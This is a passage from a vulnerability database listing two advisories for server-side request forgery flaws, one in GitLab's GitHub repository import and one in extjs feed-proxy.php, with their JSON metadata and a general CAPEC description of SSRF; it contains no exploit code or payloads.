  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2XJP-R9F7-CM2X

Vulnerability from github – Published: 2025-01-31 00:30 – Updated: 2025-01-31 00:30
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.5 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2. GitLab was vulnerable to Server Side Request Forgery when an attacker uses a malicious URL in the markdown image value when importing a GitHub repository.

Severity
2.6 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2023-6195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T00:15:08Z",
    "severity": "LOW"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.5 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2. GitLab was vulnerable to Server Side Request Forgery when an attacker uses a malicious URL in the markdown  image value when importing a GitHub repository.",
  "id": "GHSA-2xjp-r9f7-cm2x",
  "modified": "2025-01-31T00:30:44Z",
  "published": "2025-01-31T00:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6195"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2249268"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/432276"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3267-CJM3-377P

Vulnerability from github – Published: 2022-04-21 01:48 – Updated: 2022-04-21 01:48
VLAI
Details

Server-side request forgery (SSRF) vulnerability in feed-proxy.php in extjs 5.0.0.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-6758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-23T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability in feed-proxy.php in extjs 5.0.0.",
  "id": "GHSA-3267-cjm3-377p",
  "modified": "2022-04-21T01:48:50Z",
  "published": "2022-04-21T01:48:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6758"
    },
    {
      "type": "WEB",
      "url": "http://attrition.org/pipermail/vim/2007-April/001545.html"
    },
    {
      "type": "WEB",
      "url": "http://cxsecurity.com/issue/WLB-2015050162"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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